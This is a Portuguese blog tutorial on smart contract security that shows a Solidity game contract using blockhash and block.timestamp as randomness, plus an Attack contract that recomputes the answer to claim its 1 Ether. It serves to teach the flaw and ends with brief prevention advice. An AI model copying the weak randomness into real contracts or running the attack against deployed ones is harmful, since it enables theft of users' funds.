Fonte de Aleatoriedade

porMatheusem22/06/2022

Nesse artigo iremos aprender a como um contrato malicioso age para descobrir um valor através das fontes de aleatoriedade e como previnir um ataque em seu contrato inteligente.

Vulnerabilidade

blockhash e block.timestamp não são fontes confiáveis para aleatoriedade.

NOTA: não pode usar blockhash no Remix, então use ganache-cli

npm i -g ganache-cli
ganache-cli

No ambiente Remix, altere para o provedor Web3.

Como funciona:
GuessTheRandomNumber é um jogo onde você ganha 1 Ether se conseguir adivinhar o pseudo número aleatório gerado a partir de blockhash e timestamp.

À primeira vista, parece impossível adivinhar o número correto.
Mas vamos ver como é fácil vencer.

  1. Alice implanta GuessTheRandomNumber com 1 Ether
  2. Eve implanta Ataque
  3. Eve chama Attack.attack() e ganha 1 Ether

O que aconteceu?
Attack calculou a resposta correta simplesmente copiando o código que computa o número aleatório.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract GuessTheRandomNumber {
constructor() payable {}
function guess(uint _guess) public {
uint answer = uint(
keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
);
if (_guess == answer) {
(bool sent, ) = msg.sender.call{value: 1 ether}("");
require(sent, "Falha ao enviar Ether");
}
}
}
contract Attack {
receive() external payable {}
function attack(GuessTheRandomNumber guessTheRandomNumber) public {
uint answer = uint(
keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
);
guessTheRandomNumber.guess(answer);
}
// Função auxiliar para verificar saldo
function getBalance() public view returns (uint) {
return address(this).balance;
}
}

Técnicas Preventivas

  • Não use blockhash e block.timestamp como fonte de aleatoriedade

Testar no Remix